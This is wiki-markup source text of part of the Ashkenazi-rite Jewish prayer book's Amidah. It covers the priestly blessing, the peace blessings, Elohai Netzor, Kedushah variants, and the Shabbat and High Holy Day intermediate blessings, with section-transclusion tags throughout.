{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=וכתוב/&gt;וּכְתֹב לְחַיִּים טוֹבִים כָל בְּנֵי בְרִיתֶךָ. &lt;קטע סוף=וכתוב/&gt;{{סוף}}
{{רקע אפור}}
{{הור|בחזרת הש&quot;ץ של ימים נוראים (מנהג אשכנז המזרחי):}}{{ש}}
&lt;קטע התחלה=זכור רחמיך/&gt;אָבִינוּ מַלְכֵּנוּ, זְכֹר רַחֲמֶיךָ וּכְבֹשׁ כַּעַסְךָ, וְכַלֵּה דֶבֶר וְחֶרֶב וְרָעָב וּשְׁבִי וּמַשְׁחִית וְעָוֹן וּמַגֵּפָה וּפֶגַע רָע וְכָל מַחֲלָה וְכָל תַּקָּלָה וְכָל קְטָטָה וְכָל מִינֵי פֻרְעָנֻיּוֹת וְכָל גְּזֵרָה רָעָה וְשִׂנְאַת חִנָּם מֵעָלֵינוּ וּמֵעַל כָּל בְּנֵי בְרִיתֶךָ.&lt;קטע סוף=זכור רחמיך/&gt;
{{סוף}}
&lt;קטע התחלה=יח וכל/&gt;וְכֹל הַחַיִּים יוֹדוּךָ סֶּלָה, וִיהַלְלוּ אֶת שִׁמְךָ בֶּאֱמֶת, הָאֵל יְשׁוּעָתֵנוּ וְעֶזְרָתֵנוּ סֶלָה. &lt;קטע סוף=יח וכל/&gt;&lt;קטע התחלה=יח ת/&gt;בָּרוּךְ אַתָּה יְיָ, הַטּוֹב שִׁמְךָ וּלְךָ נָאֶה לְהוֹדוֹת. &lt;קטע סוף=יח ת/&gt;{{רקע אפור|צבע=#D9E2F3}}&lt;קטע התחלה=כהנים כ/&gt;
===ברכת כהנים===
&lt;קטע סוף=כהנים כ/&gt;&lt;קטע התחלה=לברך/&gt;בָּרוּךְ אַתָּה יְיָ אֱלֹהֵינוּ מֶלֶךְ הָעוֹלָם, אֲשֶׁר קִדְּשָׁנוּ בִּקְדֻשָּׁתוֹ שֶׁל אַהֲרֹן, וְצִוָּנוּ לְבָרֵךְ אֶת עַמּוֹ יִשְׂרָאֵל בְּאַהֲבָה. &lt;קטע סוף=לברך/&gt;
{{רקע אפור}}{{הור|כשאין נשיאת כפים, החזן אומר:}}{{ש}}&lt;קטע התחלה=אלהינו/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, בָּרְכֵנוּ בַבְּרָכָה הַמְשֻׁלֶּשֶׁת בַּתּוֹרָה הַכְּתוּבָה עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, הָאֲמוּרָה מִפִּי אַהֲרֹן וּבָנָיו כֹּהֲנִים עַם קְדוֹשֶׁךָ כָּאָמוּר: &lt;קטע סוף=אלהינו/&gt;{{סוף}}
&lt;קטע התחלה=יברכך/&gt;יְבָרֶכְךָ יְיָ וְיִשְׁמְרֶךָ׃ יָאֵר יְיָ פָּנָיו אֵלֶיךָ וִיחֻנֶּךָּ׃ יִשָּׂא יְיָ פָּנָיו אֵלֶיךָ וְיָשֵׂם לְךָ שָׁלוֹם׃{{ממס|במדבר ו/טעמים#ו כד|במדבר ו כד-כו}} &lt;קטע סוף=יברכך/&gt;

&lt;קטע התחלה=אדיר/&gt;אַדִּיר בַּמָּרוֹם שׁוֹכֵן בִּגְבוּרָה, אַתָּה שָׁלוֹם וְשִׁמְךָ שָׁלוֹם. יְהִי רָצוֹן שֶׁתָּשִׂים עָלֵינוּ וְעַל כָּל עַמְּךָ בֵּית יִשְׂרָאֵל, חַיִּים וּבְרָכָה לְמִשְׁמֶרֶת שָׁלוֹם. &lt;קטע סוף=אדיר/&gt;{{סוף}}&lt;קטע התחלה=יט כ/&gt;

===שלום===
&lt;קטע סוף=יט כ/&gt;{{הור|&lt;noinclude&gt;בשחרית ו&lt;/noinclude&gt;במנחה של תענית ציבור&lt;noinclude&gt; (ויש נוהגים אף במנחה של שבת)&lt;/noinclude&gt;:}} &lt;קטע התחלה=יט שים/&gt;שִׂים שָׁלוֹם טוֹבָה וּבְרָכָה, חֵן וָחֶסֶד וְרַחֲמִים, עָלֵינוּ וְעַל כָּל יִשְׂרָאֵל עַמֶּךָ. בָּרְכֵנוּ אָבִינוּ כֻּלָּנוּ כְּאֶחָד בְּאוֹר פָּנֶיךָ, כִּי בְאוֹר פָּנֶיךָ נָתַתָּ לָּנוּ יְיָ אֱלֹהֵינוּ תּוֹרַת חַיִּים וְאַהֲבַת חֶסֶד, וּצְדָקָה וּבְרָכָה וְרַחֲמִים וְחַיִּים וְשָׁלוֹם. &lt;קטע סוף=יט שים/&gt;

{{הור|במנחה ובערבית:}} &lt;קטע התחלה=יט שלום רב/&gt;שָׁלוֹם רָב עַל יִשְׂרָאֵל עַמְּךָ תָּשִׂים לְעוֹלָם, כִּי אַתָּה הוּא מֶלֶךְ אָדוֹן לְכָל הַשָּׁלוֹם. &lt;קטע סוף=יט שלום רב/&gt;

&lt;קטע התחלה=יט וטוב/&gt;וְטוֹב בְּעֵינֶיךָ לְבָרֵךְ אֶת עַמְּךָ יִשְׂרָאֵל בְּכָל עֵת וּבְכָל שָׁעָה בִּשְׁלוֹמֶךָ. &lt;קטע סוף=יט וטוב/&gt;
{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=בספר חיים/&gt;בְּסֵפֶר חַיִּים, בְּרָכָה וְשָׁלוֹם וּפַרְנָסָה טוֹבָה, נִזָּכֵר וְנִכָּתֵב לְפָנֶיךָ אֲנַחְנוּ וְכָל עַמְּךָ בֵּית יִשְׂרָאֵל, לְחַיִּים טוֹבִים וּלְשָׁלוֹם. {{ק|[{{הור1|יש מסיימים|בָּרוּךְ אַתָּה יְיָ עוֹשֶׂה הַשָּׁלוֹם.}}]}} &lt;קטע סוף=בספר חיים/&gt;{{סוף}}
&lt;קטע התחלה=יט ת/&gt;בָּרוּךְ אַתָּה יְיָ, הַמְבָרֵךְ אֶת עַמּוֹ יִשְׂרָאֵל בַּשָּׁלוֹם.&lt;קטע סוף=יט ת/&gt;&lt;קטע התחלה=אלהי כ/&gt;

===אלוהי נצור===
&lt;קטע סוף=אלהי כ/&gt;[{{הור|יש שאומרים כאן:}} יִהְיוּ לְרָצוֹן אִמְרֵי פִי וְהֶגְיוֹן לִבִּי לְפָנֶיךָ, יְיָ צוּרִי וְגֹאֲלִי׃]

&lt;קטע התחלה=אלהי א/&gt;אֱלֹהַי, נְצֹר לְשׁוֹנִי מֵרָע, וּשְׂפָתַי מִדַּבֵּר מִרְמָה, וְלִמְקַלְלַי נַפְשִׁי תִדֹּם, וְנַפְשִׁי כֶּעָפָר לַכֹּל תִּהְיֶה. פְּתַח לִבִּי בְּתוֹרָתֶךָ, וּבְמִצְוֹתֶיךָ תִּרְדֹּף נַפְשִׁי. וְכֹל הַחוֹשְׁבִים עָלַי רָעָה, מְהֵרָה הָפֵר עֲצָתָם וְקַלְקֵל מַחֲשַׁבְתָּם.

עֲשֵׂה לְמַעַן שְׁמֶךָ, עֲשֵׂה לְמַעַן יְמִינֶךָ, עֲשֵׂה לְמַעַן קְדֻשָּׁתֶךָ, עֲשֵׂה לְמַעַן תּוֹרָתֶךָ.{{ש}}
לְמַעַן יֵחָלְצוּן יְדִידֶיךָ, הוֹשִׁיעָה יְמִינְךָ וַעֲנֵנִי׃{{ממס|תהלים קח ז}}&lt;קטע סוף=אלהי א/&gt;
{{רקע אפור}}&lt;קטע התחלה=תענית יחיד/&gt;{{הור|הרוצה לקבל עליו תענית, אומר במנחה ביום הקודם:}}{{ש}}רִבּוֹן הָעוֹלָמִים, הֲרֵי אֲנִי לְפָנֶיךָ בְּתַעֲנִית יָחִיד לְמָחָר. יְהִי רָצוֹן מִלְּפָנֶיךָ יְיָ אֶלֹהַי וֵאלֹהֵי אֲבוֹתַי שֶׁתְּקַבְּלֵנִי בְּאַהֲבָה וּבְרָצוֹן, וְתָבֹא לְפָנֶיךָ תְּפִלָּתִי, וְתַעֲנֶה עֲתִירָתִי בְּרַחֲמֶיךָ הָרַבִּים. כִּי אַתָּה שׁוֹמֵעַ תְּפִלַּת כָּל פֶּה.

{{הור|ובמנחה של יום התענית אומר:}}{{ש}}
רִבּון כָּל הָעוֹלָמִים, גָּלוּי וְיָדוּעַ לְפָנֶיךָ, בִּזְמַן שֶׁבֵּית הַמִּקְדָּשׁ קַיָּם, אָדָם חוֹטֵא וּמֵבִיא קָרְבָּן, וְאֵין מַקְרִיבִין מִמֶּנּוּ אֶלָּא חֶלְבּוֹ וְדָמוֹ, וְאַתָּה בְּרַחֲמֶיךָ הָרַבִּים מְכַפֵּר. וְעַכְשָׁו יָשַׁבְתִּי בְּתַעֲנִית, וְנִתְמַעֵט חֶלְבִּי וְדָמִי. יְהִי רָצון מִלְּפָנֶיךָ שֶׁיְּהֵא מִעוּט חֶלְבִּי וְדָמִי שֶׁנִּתְמַעֵט הַיּוֹם כְּאִלּוּ הִקְרַבְתִּיו לְפָנֶיךָ עַל גַּב הַמִּזְבֵּחַ, וְתִרְצֵנִי.&lt;קטע סוף=תענית יחיד/&gt;{{סוף}}
&lt;קטע התחלה=יהיו לרצון/&gt;{{הור|יש האומרים כאן [[פסוק המתחיל ומסתיים באות|פסוק]] המתחיל ומסתיים באותיות שבהן מתחיל ומסתיים השם הפרטי (פסוק לכל שם שיש לו).}}

יִהְיוּ לְרָצוֹן אִמְרֵי פִי וְהֶגְיוֹן לִבִּי לְפָנֶיךָ, יְיָ צוּרִי וְגֹאֲלִי׃{{ממס|תהלים יט טו}}

עֹשֶׂה &lt;קטע סוף=יהיו לרצון/&gt;שָׁלוֹם {{הור1|בעשי&quot;ת|הַשָּׁלוֹם}} &lt;קטע התחלה=במרומיו/&gt;בִּמְרוֹמָיו, הוּא יַעֲשֶׂה שָׁלוֹם עָלֵינוּ וְעַל כָּל יִשְׂרָאֵל, וְאִמְרוּ אָמֵן.

יְהִי רָצוֹן מִלְּפָנֶיךָ, יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, שֶׁיִּבָּנֶה בֵּית הַמִּקְדָּשׁ בִּמְהֵרָה בְיָמֵינוּ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ. וְשָׁם נַעֲבָדְךָ בְּיִרְאָה כִּימֵי עוֹלָם וּכְשָׁנִים קַדְמֹנִיֹּת.
{{ש}}
וְעָרְבָה לַייָ מִנְחַת יְהוּדָה וִירוּשָׁלָ͏יִם, כִּימֵי עוֹלָם וּכְשָׁנִים קַדְמֹנִיֹּת׃{{ממס|מלאכי ג ד}}&lt;קטע סוף=במרומיו/&gt;

==קדושה לשבת ויום טוב==
===פיוטים===
{{הור|להלן קטעים קבועים שמוסיפים בפיוטים שלפני קדושה.}}
;א
&lt;קטע התחלה=ואתה/&gt;'''יִמְלֹךְ יְיָ לְעוֹלָם, אֱלֹהַיִךְ צִיּוֹן לְדֹר וָדֹר, הַלְלוּיָהּ׃'''{{ממס|תהלים קמו י}}{{ש}}
'''וְאַתָּה קָדוֹשׁ, יוֹשֵׁב תְּהִלּוֹת יִשְׂרָאֵל׃'''{{ממס|תהלים כב ד}}{{ש}}'''אֵל נָא,'''&lt;קטע סוף=ואתה/&gt;
;ב
&lt;קטע התחלה=חי וקיים/&gt;'''חַי וְקַיָּם, נוֹרָא וּמָרוֹם וְקָדוֹשׁ.'''&lt;קטע סוף=חי וקיים/&gt;
;ג
&lt;קטע התחלה=אל נא/&gt;אֵל נָא לְעוֹלָם תָּעֳרָץ וּלְעוֹלָם תֻּקְדָּשׁ וּלְעוֹלְמֵי עוֹלָמִים תִּמְלֹךְ וְתִתְנַשֵּׂא{{ש}}
הָאֵל מֶלֶךְ נוֹרָא מָרוֹם וְקָדוֹשׁ כִּי אַתָּה הוּא מֶלֶךְ מַלְכֵי הַמְּלָכִים.{{ש}}
{{סי|מַ}}לְכוּתוֹ {{סי|נֶ}}צַח. {{סי|נ}}וֹרְאוֹתָיו {{סי|שִׂ}}יחוּ. {{סי|סַ}}פְּרוּ {{סי|עֻ}}זּוֹ. {{סי|פָּ}}אֲרוּהוּ {{סי|צְ}}בָאָיו.
{{סי|קַ}}דְּשׁוּהוּ {{סי|ר}}וֹמְמוּהוּ. {{סי|רֹ}}ן {{סי|שִׁ}}יר וָ{{סי|שֶׁ}}בַח. {{סי|תֹּ}}קֶף {{סי|תְּ}}הִלוֹת {{סי|תִּ}}פְאַרְתּוֹ.&lt;קטע סוף=אל נא/&gt;
;ד
{{הור|בשבת וחג:}}{{ש}}
&lt;קטע התחלה=ובכן1/&gt;'''וּבְכֵן''' &lt;small&gt;וּ&lt;/small&gt;'''לְךָ תַעֲלֶה קְדֻשָּׁה כִּי אַתָּה קְדוֹשׁ יִשְׂרָאֵל וּמוֹשִׁיעַ.'''&lt;קטע סוף=ובכן1/&gt;

{{הור|בראש השנה:}}{{ש}}
&lt;קטע התחלה=ובכן2/&gt;'''וּבְכֵן''' &lt;small&gt;וּ&lt;/small&gt;'''לְךָ תַעֲלֶה קְדֻשָּׁה כִּי אַתָּה אֱלֹהֵינוּ מֶלֶךְ.'''&lt;קטע סוף=ובכן2/&gt;

{{הור|ביום כיפור:}}{{ש}}
&lt;קטע התחלה=ובכן3/&gt;'''וּבְכֵן''' &lt;small&gt;וּ&lt;/small&gt;'''לְךָ תַעֲלֶה קְדֻשָּׁה כִּי אַתָּה אֱלֹהֵינוּ מֶלֶךְ מוֹחֵל וְסוֹלֵחַ.'''&lt;קטע סוף=ובכן3/&gt;

===שחרית===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|נקדש|קדוש}}&lt;/noinclude&gt;
&lt;קטע התחלה=אז/&gt;אָז בְּקוֹל רַעַשׁ גָּדוֹל אַדִּיר וְחָזָק מַשְׁמִיעִים קוֹל, מִתְנַשְּׂאִים לְעֻמַּת שְׂרָפִים. &lt;קטע סוף=אז/&gt;&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|לעומתם|ברוך}}&lt;/noinclude&gt;
&lt;קטע התחלה=ממקומך/&gt;מִמְּקוֹמְךָ מַלְכֵּנוּ תוֹפִיעַ וְתִמְלֹךְ עָלֵינוּ כִּי מְחַכִּים אֲנַחְנוּ לָךְ. מָתַי תִּמְלֹךְ בְּצִיּוֹן, בְּקָרוֹב בְּיָמֵינוּ לְעוֹלָם וָעֶד תִּשְׁכֹּן. תִּתְגַּדַּל וְתִתְקַדַּשׁ בְּתוֹךְ יְרוּשָׁלַיִם עִירְךָ לְדֹר וָדֹר וּלְנֵצַח נְצָחִים. וְעֵינֵינוּ תִרְאֶינָה מַלְכוּתֶךָ, כַּדָּבָר הָאָמוּר בְּשִׁירֵי עֻזֶּךָ עַל יְדֵי דָוִד מְשִׁיחַ צִדְקֶךָ:{{ש}}&lt;קטע סוף=ממקומך/&gt;
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ימלוך}}&lt;/noinclude&gt;
===מוסף===
&lt;קטע התחלה=נעריצך/&gt;נַעֲרִיצְךָ וְנַקְדִישְׁךָ כְּסוֹד שִׂיחַ שַׂרְפֵי קֹדֶשׁ הַמַּקְדִּישִׁים שִׁמְךָ בַּקֹּדֶשׁ, &lt;קטע סוף=נעריצך/&gt;&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ככתוב|קדוש}}&lt;/noinclude&gt;
&lt;קטע התחלה=כבודו/&gt;כְּבוֹדוֹ מָלֵא עוֹלָם, מְשָׁרְתָיו שׁוֹאֲלִים זֶה לָזֶה אַיֵּה מְקוֹם כְּבוֹדוֹ. &lt;קטע סוף=כבודו/&gt;&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|לעומתם}} {{#קטע:סידור/נוסח אשכנז/עמידה|ברוך}}&lt;/noinclude&gt;
&lt;קטע התחלה=ממקומו/&gt;מִמְּקוֹמוֹ הוּא יִפֶן בְּרַחֲמִים וְיָחֹן עַם הַמְיַחֲדִים שְׁמוֹ, עֶרֶב וָבֹקֶר בְּכָל יוֹם תָּמִיד פַּעֲמַיִם בְּאַהֲבָה שְׁמַע אוֹמְרִים – {{ש}}&lt;קטע סוף=ממקומו/&gt;
&lt;קטע התחלה=שמע/&gt;'''שְׁמַע יִשְׂרָאֵל, יְיָ אֱלֹהֵינוּ יְיָ אֶחָד׃'''{{ממס|דברים ו ד}}{{ש}}&lt;קטע סוף=שמע/&gt;
&lt;קטע התחלה=הוא אלהינו/&gt;{{נוסחי אשכנז|נוסח={{{נוסח|}}}|מערבי=אֶחָד}} הוּא אֱלֹהֵינוּ, הוּא אָבִינוּ, הוּא מַלְכֵּנוּ, הוּא מוֹשִׁיעֵנוּ, וְהוּא יַשְׁמִיעֵנוּ בְּרַחֲמָיו שֵׁנִית לְעֵינֵי כָל חָי: לִהְיוֹת לָכֶם לֵאלֹהִים, '''אֲנִי יְיָ אֱלֹהֵיכֶם'''׃{{ממס|במדבר טו מא}}{{ש}}&lt;קטע סוף=הוא אלהינו/&gt;&lt;noinclude&gt;
{{רקע אפור}}{{הור|ביום טוב, בר&quot;ה וביו&quot;כ:}}{{ש}}&lt;/noinclude&gt;&lt;קטע התחלה=אדיר-אדירנו/&gt;אַדִּיר אַדִּירֵנוּ, יְיָ אֲדֹנֵינוּ, מָה אַדִּיר שִׁמְךָ בְּכָל הָאָרֶץ. וְהָיָה יְיָ לְמֶלֶךְ עַל כׇּל הָאָרֶץ, בַּיּוֹם הַהוּא יִהְיֶה יְיָ אֶחָד וּשְׁמוֹ אֶחָד׃{{ממס|זכריה יד ט}}{{ש}}&lt;קטע סוף=אדיר-אדירנו/&gt;{{סוף}}&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ובדברי|ימלוך}}&lt;/noinclude&gt;

==ברכה שלישית לראש השנה ויום כיפור==
&lt;noinclude&gt;
{|
|-
|{{#קטע:סידור/נוסח אשכנז/עמידה|ג א}}|| ||{{רקע אפור|צבע=#D9E2F3}}{{#קטע:סידור/נוסח אשכנז/עמידה|לדור}}{{סוף}}
|}&lt;/noinclude&gt;

&lt;קטע התחלה=ובכן/&gt;וּבְכֵן תֵּן פַּחְדְּךָ יְיָ אֱלֹהֵינוּ עַל כָּל מַעֲשֶׂיךָ, וְאֵימָתְךָ עַל כָּל מַה שֶּׁבָּרָאתָ, וְיִירָאוּךָ כָּל הַמַּעֲשִׂים, וְיִשְׁתַּחֲווּ לְפָנֶיךָ כָּל הַבְּרוּאִים, וְיֵעָשׂוּ כֻלָּם אֲגֻדָּה אֶחָת לַעֲשׂוֹת רְצוֹנְךָ בְּלֵבָב שָׁלֵם. כְּמוֹ שֶׁיָּדַעְנוּ יְיָ אֱלֹהֵינוּ שֶׁהַשָּׁלְטָן {{נוא|הוראה=נוסח ישן:|שֶׁהַשִּׁלְטוֹן}} לְפָנֶיךָ, עֹז בְּיָדְךָ וּגְבוּרָה בִּימִינֶךָ, וְשִׁמְךָ נוֹרָא עַל כָּל מַה שֶּׁבָּרָאתָ.

וּבְכֵן תֵּן כָּבוֹד יְיָ לְעַמֶּךָ, תְּהִלָּה לִירֵאֶיךָ, וְתִקְוָה טוֹבָה לְדֹרְשֶׁיךָ, וּפִתְחוֹן פֶּה לַמְיַחֲלִים לָךְ, שִׂמְחָה לְאַרְצֶךָ וְשָׂשׂוֹן לְעִירֶךָ, וּצְמִיחַת קֶרֶן לְדָוִד עַבְדֶּךָ, וַעֲרִיכַת נֵר לְבֶן יִשַׁי מְשִׁיחֶךָ, בִּמְהֵרָה בְיָמֵינוּ.

וּבְכֵן {{נוא|הוראה=נוסח ישן:|וְאָז}} צַדִּיקִים יִרְאוּ וְיִשְׂמָחוּ, וִישָׁרִים יַעֲלֹזוּ, וַחֲסִידִים בְּרִנָּה יָגִילוּ, וְעוֹלָתָה תִּקְפָּץ פִּיהָ, וְכָל הָרִשְׁעָה כֻלָּהּ כֶּעָשָׁן תִּכְלֶה, כִּי תַעֲבִיר מֶמְשֶׁלֶת זָדוֹן מִן הָאָרֶץ. &lt;קטע סוף=ובכן/&gt;

&lt;קטע התחלה=ותמלוך/&gt;וְתִמְלֹךְ אַתָּה יְיָ לְבַדֶּךָ עַל כָּל מַעֲשֶׂיךָ, בְּהַר צִיּוֹן מִשְׁכַּן כְּבוֹדֶךָ וּבִירוּשָׁלַיִם עִיר קָדְשֶׁךָ, כַּכָּתוּב בְּדִבְרֵי קָדְשֶׁךָ: יִמְלֹךְ יְיָ לְעוֹלָם, אֱלֹהַיִךְ צִיּוֹן לְדֹר וָדֹר, הַלְלוּיָהּ׃{{ממס|תהלים קמו י}}

קָדוֹשׁ אַתָּה וְנוֹרָא שְׁמֶךָ, וְאֵין אֱלוֹהַּ מִבַּלְעָדֶיךָ, כַּכָּתוּב: וַיִּגְבַּהּ יְיָ צְבָאוֹת בַּמִּשְׁפָּט, וְהָאֵל הַקָּדוֹשׁ נִקְדָּשׁ בִּצְדָקָה׃{{ממס|ישעיהו ה טז}} בָּרוּךְ אַתָּה יְיָ, הַמֶּלֶךְ הַקָּדוֹשׁ. &lt;קטע סוף=ותמלוך/&gt;
==קדושת היום==
===ערבית לשבת===
&lt;קטע התחלה=אתה קדשת/&gt;אַתָּה קִדַּשְׁתָּ אֶת יוֹם הַשְּׁבִיעִי לִשְׁמֶךָ, תַּכְלִית מַעֲשֵׂה שָׁמַיִם וָאָרֶץ. וּבֵרַכְתּוֹ מִכָּל הַיָּמִים, וְקִדַּשְׁתּוֹ מִכָּל הַזְּמַנִּים, וְכֵן כָּתוּב בְּתוֹרָתֶךָ:

וַיְכֻלּוּ הַשָּׁמַיִם וְהָאָרֶץ וְכָל צְבָאָם׃ וַיְכַל אֱלֹהִים בַּיּוֹם הַשְּׁבִיעִי מְלַאכְתּוֹ אֲשֶׁר עָשָׂה, וַיִּשְׁבֹּת בַּיּוֹם הַשְּׁבִיעִי מִכָּל מְלַאכְתּוֹ אֲשֶׁר עָשָׂה׃ וַיְבָרֶךְ אֱלֹהִים אֶת יוֹם הַשְּׁבִיעִי וַיְקַדֵּשׁ אֹתוֹ, כִּי בוֹ שָׁבַת מִכָּל מְלַאכְתּוֹ אֲשֶׁר בָּרָא אֱלֹהִים לַעֲשׂוֹת׃{{ממס|בראשית ב|בראשית ב ב-ג}}&lt;קטע סוף=אתה קדשת/&gt;

&lt;קטע התחלה=רצה א/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, רְצֵה בִמְנוּחָתֵנוּ, קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה וּבְרָצוֹן שַׁבַּת קָדְשֶׁךָ, וְיָנוּחוּ &lt;קטע סוף=רצה א/&gt;בָהּ &lt;קטע התחלה=רצה ת/&gt;יִשְׂרָאֵל מְקַדְּשֵׁי שְׁמֶךָ. בָּרוּךְ אַתָּה יְיָ מְקַדֵּשׁ הַשַּׁבָּת. &lt;קטע סוף=רצה ת/&gt;
===שחרית לשבת===
&lt;קטע התחלה=ישמח משה/&gt;יִשְׂמַח מֹשֶׁה בְּמַתְּנַת חֶלְקוֹ, כִּי עֶבֶד נֶאֱמָן קָרָאתָ לּוֹ. כְּלִיל תִּפְאֶרֶת בְּרֹאשׁוֹ נָתַתָּ לּוֹ, בְּעָמְדוֹ לְפָנֶיךָ עַל הַר סִינַי. וּשְׁנֵי לֻחוֹת אֲבָנִים הוֹרִיד בְּיָדוֹ, וְכָתוּב בָּהֶם שְׁמִירַת שַׁבָּת. וְכֵן כָּתוּב בְּתוֹרָתֶךָ:

וְשָׁמְרוּ בְנֵי יִשְׂרָאֵל אֶת הַשַּׁבָּת, לַעֲשׂוֹת אֶת הַשַּׁבָּת לְדֹרֹתָם בְּרִית עוֹלָם׃ בֵּינִי וּבֵין בְּנֵי יִשְׂרָאֵל אוֹת הִוא לְעֹלָם, כִּי שֵׁשֶׁת יָמִים עָשָׂה יְיָ אֶת הַשָּׁמַיִם וְאֶת הָאָרֶץ, וּבַיּוֹם הַשְּׁבִיעִי שָׁבַת וַיִּנָּפַשׁ׃{{ממס|שמות לא#לא טו|שמות לא טו-טז}}

וְלֹא נְתַתּוֹ יְיָ אֱלֹהֵינוּ לְגוֹיֵי הָאֲרָצוֹת, וְלֹא הִנְחַלְתּוֹ מַלְכֵּנוּ לְעוֹבְדֵי פְסִילִים, וְגַם בִּמְנוּחָתוֹ לֹא יִשְׁכְּנוּ עֲרֵלִים. כִּי לְיִשְׂרָאֵל עַמְּךָ נְתַתּוֹ בְּאַהֲבָה, לְזֶרַע יַעֲקֹב אֲשֶׁר בָּם בָּחָרְתָּ. עַם מְקַדְּשֵׁי שְׁבִיעִי, כֻּלָּם יִשְׂבְּעוּ וְיִתְעַנְּגוּ מִטּוּבֶךָ. וּבַשְּׁבִיעִי רָצִיתָ בּוֹ וְקִדַּשְׁתּוֹ, חֶמְדַת יָמִים אוֹתוֹ קָרָאתָ, זֵכֶר לְמַעֲשֵׂה בְרֵאשִׁית. &lt;קטע סוף=ישמח משה/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|רצה א}} בוֹ {{#קטע:סידור/נוסח אשכנז/עמידה|רצה ת}}&lt;/noinclude&gt;
===מנחה לשבת===
&lt;קטע התחלה=אתה אחד/&gt;אַתָּה אֶחָד וְשִׁמְךָ אֶחָד, וּמִי כְּעַמְּךָ יִשְׂרָאֵל גּוֹי אֶחָד בָּאָרֶץ. תִּפְאֶרֶת גְּדֻלָּה וַעֲטֶרֶת יְשׁוּעָה, יוֹם מְנוּחָה וּקְדֻשָּׁה לְעַמְּךָ נָתָתָּ. אַבְרָהָם יָגֵל, יִצְחָק יְרַנֵּן, יַעֲקֹב וּבָנָיו יָנוּחוּ בוֹ. מְנוּחַת אַהֲבָה וּנְדָבָה, מְנוּחַת אֱמֶת וֶאֱמוּנָה, מְנוּחַת שָׁלוֹם וְשַׁלְוָה וְהַשְׁקֵט וָבֶטַח, מְנוּחָה שְׁלֵמָה שָׁאַתָּה רוֹצֶה בָּהּ. יַכִּירוּ בָנֶיךָ וְיֵדְעוּ כִּי מֵאִתְּךָ הִיא מְנוּחָתָם, וְעַל מְנוּחָתָם יַקְדִּישׁוּ אֶת שְׁמֶךָ. &lt;קטע סוף=אתה אחד/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|רצה א}} בָם {{#קטע:סידור/נוסח אשכנז/עמידה|רצה ת}}&lt;/noinclude&gt;
===מוסף לשבת===
&lt;קטע התחלה=תכנת/&gt;{{סי|תִּ}}כַּנְתָּ {{סי|שַׁ}}בָּת, {{סי|רָ}}צִיתָ {{סי|קָ}}רְבְּנוֹתֶיהָ, {{סי|צִ}}וִּיתָ {{סי|פֵּ}}רוּשֶׁיהָ {{סי|עִ}}ם {{סי|סִ}}דּוּרֵי {{סי|נְ}}סָכֶיהָ. {{סי|מְ}}עַנְּגֶיהָ {{סי|לְ}}עוֹלָם {{סי|כָּ}}בוֹד {{סי|יִ}}נְחָלוּ, {{סי|טֹ}}עֲמֶיהָ {{סי|חַ}}יִּים {{סי|זָ}}כוּ, {{סי|וְ}}גַם {{סי|הָ}}אֹהֲבִים {{סי|דְּ}}בָרֶיהָ {{סי|גְּ}}דֻלָּה {{סי|בָּ}}חָרוּ. {{סי|אָ}}ז מִסִּינַי נִצְטַוּוּ עָלֶיהָ, וַתְּצַוֵּנוּ יְיָ אֱלֹהֵינוּ לְהַקְרִיב בָּהּ קָרְבַּן מוּסַף שַׁבָּת כָּרָאוּי. יְהִי רָצוֹן מִלְּפָנֶיךָ, יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, שֶׁתַּעֲלֵנוּ בְשִׂמְחָה לְאַרְצֵנוּ, וְתִטָּעֵנוּ בִּגְבוּלֵנוּ, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. וְאֶת מוּסַף יוֹם הַשַּׁבָּת הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: &lt;קטע סוף=תכנת/&gt;

&lt;קטע התחלה=וביום השבת/&gt;וּבְיוֹם הַשַּׁבָּת, שְׁנֵי כְבָשִׂים בְּנֵי שָׁנָה תְּמִימִם, וּשְׁנֵי עֶשְׂרֹנִים סֹלֶת מִנְחָה בְּלוּלָה בַשֶּׁמֶן, וְנִסְכּוֹ׃ עֹלַת שַׁבַּת בְּשַׁבַּתּוֹ, עַל עֹלַת הַתָּמִיד וְנִסְכָּהּ׃{{ממס|במדבר כח#כח ט|במדבר כח ט-י}} &lt;קטע סוף=וביום השבת/&gt;

